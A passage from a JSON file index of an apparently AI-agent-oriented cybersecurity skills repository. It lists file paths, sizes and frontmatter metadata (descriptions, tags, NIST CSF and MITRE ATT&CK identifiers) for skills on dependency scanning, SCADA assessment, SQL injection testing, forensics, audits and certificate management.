controllers.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","s7comm","siemens","plc-security","protocol-analysis","scada","vulnerability-assessment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T1685.002","T1685.005"]},"isInternal":false,"tokens":4092,"sizeBytes":17018},{"name":"template.md","path":"skills/performing-sca-dependency-scanning-with-snyk/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sca-dependency-scanning-with-snyk/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":924,"sizeBytes":3041},{"name":"api-reference.md","path":"skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sca-dependency-scanning-with-snyk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":668,"sizeBytes":2345},{"name":"standards.md","path":"skills/performing-sca-dependency-scanning-with-snyk/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sca-dependency-scanning-with-snyk/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":622,"sizeBytes":2724},{"name":"workflows.md","path":"skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sca-dependency-scanning-with-snyk/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":959,"sizeBytes":3893},{"name":"SKILL.md","path":"skills/performing-sca-dependency-scanning-with-snyk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sca-dependency-scanning-with-snyk/SKILL.md","title":"performing-sca-dependency-scanning-with-snyk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sca-dependency-scanning-with-snyk%2FSKILL.md -->","frontmatter":{"name":"performing-sca-dependency-scanning-with-snyk","description":"This skill covers implementing Software Composition Analysis (SCA) using Snyk to detect vulnerable open-source dependencies in CI/CD pipelines. It addresses scanning package manifests and lockfiles, automated fix pull request generation, license compliance checking, continuous monitoring of deployed applications, and integration with GitHub, GitLab, and Jenkins pipelines.\n","domain":"cybersecurity","subdomain":"devsecops","tags":["devsecops","cicd","sca","snyk","dependency-scanning","secure-sdlc"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":2272,"sizeBytes":8856},{"name":"api-reference.md","path":"skills/performing-scada-hmi-security-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-scada-hmi-security-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":666,"sizeBytes":2601},{"name":"SKILL.md","path":"skills/performing-scada-hmi-security-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-scada-hmi-security-assessment/SKILL.md","title":"performing-scada-hmi-security-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-scada-hmi-security-assessment%2FSKILL.md -->","frontmatter":{"name":"performing-scada-hmi-security-assessment","description":"Perform security assessments of SCADA Human-Machine Interface (HMI) systems to identify vulnerabilities in web-based HMIs, thin-client configurations, authentication mechanisms, and communication channels between HMI and PLCs, aligned with IEC 62443 and NIST SP 800-82 guidelines.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","hmi","security-assessment","vulnerability","iec62443","nist-800-82"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T1078","T1190","T1059","T0816","T0836"]},"isInternal":false,"tokens":2765,"sizeBytes":11834},{"name":"api-reference.md","path":"skills/performing-second-order-sql-injection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-second-order-sql-injection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":652,"sizeBytes":2712},{"name":"SKILL.md","path":"skills/performing-second-order-sql-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-second-order-sql-injection/SKILL.md","title":"performing-second-order-sql-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-second-order-sql-injection%2FSKILL.md -->","frontmatter":{"name":"performing-second-order-sql-injection","description":"Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.","domain":"cybersecurity","subdomain":"web-application-security","tags":["second-order-sqli","stored-sql-injection","sql-injection","database-security","web-security","blind-injection","persistent-sqli"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2138,"sizeBytes":9128},{"name":"api-reference.md","path":"skills/performing-security-headers-audit/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-security-headers-audit/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":432,"sizeBytes":1762},{"name":"SKILL.md","path":"skills/performing-security-headers-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-security-headers-audit/SKILL.md","title":"performing-security-headers-audit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-security-headers-audit%2FSKILL.md -->","frontmatter":{"name":"performing-security-headers-audit","description":"Auditing HTTP security headers including CSP, HSTS, X-Frame-Options, and cookie attributes to identify missing or misconfigured browser-level protections.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","security-headers","csp","hsts","owasp","web-security","hardening"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3224,"sizeBytes":12923},{"name":"api-reference.md","path":"skills/performing-serverless-function-security-review/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-serverless-function-security-review/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":659,"sizeBytes":2793},{"name":"SKILL.md","path":"skills/performing-serverless-function-security-review/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-serverless-function-security-review/SKILL.md","title":"performing-serverless-function-security-review","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-serverless-function-security-review%2FSKILL.md -->","frontmatter":{"name":"performing-serverless-function-security-review","description":"Performing security reviews of serverless functions across AWS Lambda, Azure Functions, and GCP Cloud Functions to identify overly permissive execution roles, insecure environment variables, injection vulnerabilities, and missing runtime protections.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","serverless","lambda","azure-functions","cloud-functions","security-review"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1055"]},"isInternal":false,"tokens":2923,"sizeBytes":12489},{"name":"template.md","path":"skills/performing-service-account-audit/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-audit/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":212,"sizeBytes":926},{"name":"api-reference.md","path":"skills/performing-service-account-audit/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-audit/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":563,"sizeBytes":2296},{"name":"standards.md","path":"skills/performing-service-account-audit/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-audit/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":272,"sizeBytes":885},{"name":"workflows.md","path":"skills/performing-service-account-audit/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-audit/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":213,"sizeBytes":989},{"name":"SKILL.md","path":"skills/performing-service-account-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-audit/SKILL.md","title":"performing-service-account-audit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-audit%2FSKILL.md -->","frontmatter":{"name":"performing-service-account-audit","description":"Audit service accounts across enterprise infrastructure to identify orphaned, over-privileged, and non-compliant accounts. This skill covers discovery of service accounts in Active Directory, cloud pl","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","service-accounts","audit","governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1069"]},"isInternal":false,"tokens":1132,"sizeBytes":5418},{"name":"template.md","path":"skills/performing-service-account-credential-rotation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-credential-rotation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":238,"sizeBytes":1087},{"name":"api-reference.md","path":"skills/performing-service-account-credential-rotation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-credential-rotation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":587,"sizeBytes":2376},{"name":"standards.md","path":"skills/performing-service-account-credential-rotation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-credential-rotation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":465,"sizeBytes":1964},{"name":"workflows.md","path":"skills/performing-service-account-credential-rotation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-credential-rotation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":737,"sizeBytes":3586},{"name":"SKILL.md","path":"skills/performing-service-account-credential-rotation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-service-account-credential-rotation/SKILL.md","title":"performing-service-account-credential-rotation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-service-account-credential-rotation%2FSKILL.md -->","frontmatter":{"name":"performing-service-account-credential-rotation","description":"Automates credential rotation for service accounts across Active Directory, cloud platforms, and application databases to eliminate stale secrets and reduce compromise risk. Use when rotating or automating rotation of service account passwords, API keys, or secrets stored in a vault.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["service-accounts","credential-rotation","secrets-management","pam","automation","vault"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1003"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","stealth"],"techniques":[{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1110","name":"Brute Force","tactic":"initial-access","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1023","name":"Device Fingerprint Spoofing","tactic":"stealth","source":"f3"}]}},"isInternal":false,"tokens":2361,"sizeBytes":10697},{"name":"api-reference.md","path":"skills/performing-soap-web-service-security-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soap-web-service-security-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":650,"sizeBytes":2331},{"name":"SKILL.md","path":"skills/performing-soap-web-service-security-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soap-web-service-security-testing/SKILL.md","title":"performing-soap-web-service-security-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soap-web-service-security-testing%2FSKILL.md -->","frontmatter":{"name":"performing-soap-web-service-security-testing","description":"Performs security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, SOAPAction spoofing, and XPath injection. Use when assessing a SOAP/WSDL-based API endpoint for XML-related vulnerabilities during a penetration test.","domain":"cybersecurity","subdomain":"api-security","tags":["soap","web-services","wsdl","xml-injection","xxe","ws-security","penetration-testing","soapaction-spoofing","xpath-injection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1055","T1059"]},"isInternal":false,"tokens":3715,"sizeBytes":16723},{"name":"api-reference.md","path":"skills/performing-soc-tabletop-exercise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc-tabletop-exercise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":650,"sizeBytes":2611},{"name":"SKILL.md","path":"skills/performing-soc-tabletop-exercise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc-tabletop-exercise/SKILL.md","title":"performing-soc-tabletop-exercise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc-tabletop-exercise%2FSKILL.md -->","frontmatter":{"name":"performing-soc-tabletop-exercise","description":"Performs tabletop exercises for SOC teams simulating security incidents through discussion-based scenarios to test incident response procedures, communication workflows, and decision-making under pressure without impacting production systems. Use when organizations need to validate IR playbooks, train analysts, or meet compliance requirements for incident response testing.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","tabletop","exercise","incident-response","training","nist","playbook-validation"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"]},"isInternal":false,"tokens":3855,"sizeBytes":16958},{"name":"template.md","path":"skills/performing-soc2-type2-audit-preparation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc2-type2-audit-preparation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1676,"sizeBytes":7585},{"name":"api-reference.md","path":"skills/performing-soc2-type2-audit-preparation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc2-type2-audit-preparation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1730,"sizeBytes":7102},{"name":"standards.md","path":"skills/performing-soc2-type2-audit-preparation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc2-type2-audit-preparation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1298,"sizeBytes":5589},{"name":"workflows.md","path":"skills/performing-soc2-type2-audit-preparation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc2-type2-audit-preparation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1458,"sizeBytes":5834},{"name":"SKILL.md","path":"skills/performing-soc2-type2-audit-preparation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-soc2-type2-audit-preparation/SKILL.md","title":"performing-soc2-type2-audit-preparation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-soc2-type2-audit-preparation%2FSKILL.md -->","frontmatter":{"name":"performing-soc2-type2-audit-preparation","description":"Automates SOC 2 Type II audit preparation including gap assessment against AICPA Trust Services Criteria (CC1-CC9), evidence collection from cloud providers and identity systems, control testing validation, remediation tracking, and continuous compliance monitoring. Covers all five TSC categories (Security, Availability, Processing Integrity, Confidentiality, Privacy) with automated evidence gathering from AWS, Azure, GCP, Okta, GitHub, and Jira. Use when preparing for or maintaining SOC 2 Type II certification.\n","domain":"cybersecurity","subdomain":"governance-risk-compliance","tags":["soc2","compliance","grc","aicpa-tsc","audit-preparation","governance-risk-compliance"],"version":"1.0","author":"mukul975","license":"Apache-2.0","nist_csf":["GV.OC-01","GV.RM-01","GV.PO-01","GV.OV-01"],"mitre_attack":["T1078","T1190","T1059","T1071","T1095"]},"isInternal":false,"tokens":2544,"sizeBytes":10603},{"name":"template.md","path":"skills/performing-sqlite-database-forensics/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sqlite-database-forensics/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":149,"sizeBytes":613},{"name":"api-reference.md","path":"skills/performing-sqlite-database-forensics/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sqlite-database-forensics/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":596,"sizeBytes":1939},{"name":"standards.md","path":"skills/performing-sqlite-database-forensics/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sqlite-database-forensics/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":224,"sizeBytes":967},{"name":"workflows.md","path":"skills/performing-sqlite-database-forensics/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sqlite-database-forensics/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":201,"sizeBytes":894},{"name":"SKILL.md","path":"skills/performing-sqlite-database-forensics/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-sqlite-database-forensics/SKILL.md","title":"performing-sqlite-database-forensics","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-sqlite-database-forensics%2FSKILL.md -->","frontmatter":{"name":"performing-sqlite-database-forensics","description":"Performs forensic analysis of SQLite databases by examining B-tree page structures, recovering deleted records from freelist pages and Write-Ahead Log (WAL) files, decoding encoded timestamps, and extracting evidence from browser history, messaging apps, and mobile device databases. Use when recovering deleted or unallocated data from a SQLite database during digital forensics or mobile/browser evidence analysis.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["sqlite","database-forensics","freelist","wal","write-ahead-log","browser-history","mobile-forensics","deleted-records","b-tree","unallocated-space"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3673,"sizeBytes":14344},{"name":"template.md","path":"skills/performing-ssl-certificate-lifecycle-management/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-certificate-lifecycle-management/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":415,"sizeBytes":1507},{"name":"api-reference.md","path":"skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":526,"sizeBytes":2243},{"name":"standards.md","path":"skills/performing-ssl-certificate-lifecycle-management/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-certificate-lifecycle-management/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":394,"sizeBytes":1616},{"name":"workflows.md","path":"skills/performing-ssl-certificate-lifecycle-management/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-certificate-lifecycle-management/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":396,"sizeBytes":1566},{"name":"SKILL.md","path":"skills/performing-ssl-certificate-lifecycle-management/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-certificate-lifecycle-management/SKILL.md","title":"performing-ssl-certificate-lifecycle-management","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-certificate-lifecycle-management%2FSKILL.md -->","frontmatter":{"name":"performing-ssl-certificate-lifecycle-management","description":"Automates the full SSL/TLS certificate lifecycle, including generating Certificate Signing Requests, issuing, deploying, monitoring, renewing, and revoking X.509 certificates, using Python and ACME protocol tools. Use when managing certificate issuance or renewal, preventing certificate-expiry outages, or building automated PKI/ACME workflows.","domain":"cybersecurity","subdomain":"cryptography","tags":["cryptography","ssl","certificates","pki","tls","key-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-01","PR.DS-02","PR.DS-10"],"mitre_attack":["T1600","T1573","T1553","T1040"]},"isInternal":false,"tokens":728,"sizeBytes":3465},{"name":"api-reference.md","path":"skills/performing-ssl-stripping-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssl-stripping-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-stripping-attack%2Freferences%2Fapi-reference.md 